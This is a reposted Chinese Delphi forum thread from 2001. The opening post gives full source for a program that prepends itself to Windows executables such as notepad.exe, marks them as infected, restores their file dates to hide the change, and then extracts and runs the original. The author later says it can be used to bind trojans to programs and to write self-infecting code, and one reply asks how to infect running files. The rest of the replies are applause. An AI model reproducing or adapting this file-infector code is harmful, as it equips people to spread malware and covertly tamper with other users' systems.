转载:<br><br>问题:文件合并新思路(附完整DELPHI代码),给点掌声... ( 积分:0, 回复:11, 阅读:243 )<br>分类:编程心得 ( 版主:雁孤行, wrench ) <br>来自:111222, 时间:2001-9-28 19:24:00, ID:650325 [显示:小字体 | 大字体] <br>program exe2;<br><br>uses<br> classes,<br> Tlhelp32,<br> windows,<br> SysUtils;<br><br>{$R *.RES}<br>var<br> lppe:TProcessEntry32;<br> found:boolean;<br> handle:THandle;<br> ProcessStr,ExeName:string;<br> WinDir
char;<br>const<br> MySize=64000; //根据编译或压缩后的文件大小进行修改<br><br>procedure copy2(s:string);<br>var<br> s1,s2:TMemoryStream;<br> files2:TFilestream;<br> ch:array[0..3] of char;<br> ss:string;<br> filetime,fhandle:integer;<br>begin<br> //若文件s不存在<br> if FileExists(s)=False then exit;<br> try<br> //判断文件s中有没有特殊标记。若有,表示已经合并过<br> //在本程序编译或压缩后,用十六进制软件进行修改,在偏移200处加入标记'IMOK'<br> //用debug也可进行修改(对exe文件,要先更改EXE扩展名)。例:<br> //-e 1C8<br> //127D:01C8 00._ <-键入新的十六进制值<br> //......<br> //-w <-保存文件<br> files2:=TFilestream.Create(s,fmopenread);<br> files2.Position:=200;<br> files2.Read(ch,4);<br> ss:=copy(ch,1,4);<br> files2.Free;<br> if ss='IMOK' then exit;<br> //将本文件与文件s合并 本文件+s=s<br> s2:=TMemoryStream.Create;<br> s2.loadfromfile(ExeName);<br> s1:=TMemoryStream.Create;<br> s1.copyfrom(s2,MySize);<br> s2.clear;<br> s2.loadfromfile(s);<br> s1.seek(s1.size,soFromBeginning);<br> s1.copyfrom(s2,s2.size);<br> s2.free;<br> //得到文件s的日期<br> fhandle:=FileOpen(s, fmOpenread);<br> filetime:=filegetdate(fhandle);<br> fileclose(fhandle);<br> s1.SaveToFile(s);<br> //恢复文件s的日期<br> fhandle:=FileOpen(s, fmOpenwrite);<br> filesetdate(fhandle,filetime);<br> fileclose(fhandle);<br> s1.free;<br> except end;<br>end;<br><br>procedure CreateFileAndRun;<br>var<br> s1,s2:TMemoryStream;<br> TempDir
char;<br> cmdstr:string;<br> a:integer;<br>Begin<br> s1:=TMemoryStream.Create;<br> s1.loadfromfile(ExeName);<br> if s1.Size=MySize then<br> begin<br> s1.Free;<br> exit;<br> end;<br> s1.seek(MySize,soFromBeginning);<br> s2:=TMemoryStream.Create;<br> s2.copyfrom(s1,s1.Size-MySize);<br> GetMem(TempDir,255);<br> GetTempPath(255,TempDir);<br> s2.SaveToFile(TempDir+'/'+ExtractFileName(ExeName));<br> cmdstr:='';<br> a:=1;<br> while ParamStr(a)<>'' do begin<br> cmdstr:=cmdstr+ParamStr(a)+' ';<br> inc(a);<br> end;<br> winexec(pchar(TempDir+'/'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);<br> freemem(TempDir);<br> s2.free;<br> s1.free;<br>end;<br><br>begin<br> GetMem(WinDir,255);<br> GetWindowsDirectory(WinDir,255);<br> ExeName:=ParamStr(0);<br> handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);<br> found:=Process32First(handle,lppe);<br> ProcessStr:='';<br> while found do<br> begin<br> ProcessStr:=ProcessStr+lppe.szExeFile;//列出所有进程。<br> found:=Process32Next(handle,lppe);<br> end;<br> if pos(WinDir+'/notepad.exe',ProcessStr)=0 then<br> begin<br> copy2(WinDir+'/notepad.exe');<br> end;<br> {其它需要合并的文件<br> if pos(...,ProcessStr)=0 then<br> begin<br> copy2(...);<br> end;<br> ...<br> }<br> freemem(WinDir);<br> {<br> 你想用这个程序干点其它的什么...<br> }<br> CreateFileAndRun;//释放文件并带参数运行<br>end.<br><br><br> <br> <br>来自:lbsong, 时间:2001-9-28 20:24:00, ID:650393 <br>掌声响起来<br> <br> <br>来自:wsn, 时间:2001-9-28 20:25:00, ID:650396 <br>再啪几下<br><br>[
]<br> <br> <br>来自:eve, 时间:2001-9-28 20:26:00, ID:650398 <br>啪.....啪.....啪.....啪.....啪.....啪.....啪.....啪.....<br> <br> <br>来自:budware, 时间:2001-9-28 23:14:00, ID:650550 <br>[
]<br>好<br> <br> <br>来自:cgh0717, 时间:2001-9-29 0:32:00, ID:650605 <br>很久没有看到这么有含量的文件啊,真是太好了。谢谢了。不错,不错喔。<br>说着说着,掌声响就起来了:<br>啪啪啪啪啪啪啪啪.....<br><br>[red](不知是给你的,还是给我的[^])[red]<br> <br> <br><br> <br> <br>来自:111222, 时间:2001-9-29 19:32:00, ID:651875 <br> 要将CreateFileAndRun中的<br> s2.SaveToFile(TempDir+'/'+ExtractFileName(ExeName));<br> 改为<br> try<br> s2.SaveToFile(TempDir+'/'+ExtractFileName(ExeName));<br> except end;<br> 以防建立文件时出错。<br> 在这个程序的基础上,可以很容易将木马与其它程序捆在一起,<br> 可以编写出DELPHI版的有"传染"功能的程序。<br> <br> <br>来自:fanren945, 时间:2001-9-29 20:42:00, ID:651926 <br>领教领教,不错不错,很好很好,掌声掌声[
]<br> <br> <br>来自:Zoushikun, 时间:2001-11-8 11:28:00, ID:715573 <br>鼓励<br> <br> <br>来自:doxpix, 时间:2001-11-8 12:21:00, ID:715697 <br>呵呵,麻烦解释一下你的新思路新在哪?<br> <br> <br>来自:Town, 时间:2001-11-8 12:43:00, ID:715750 <br>有办法感染正在运行的文件吗?<br> <br> <br>来自:sxzqcyj, 时间:2001-11-8 13:31:00, ID:715895 <br>非常好,收藏!<br>啪……<br><br> <br> <br>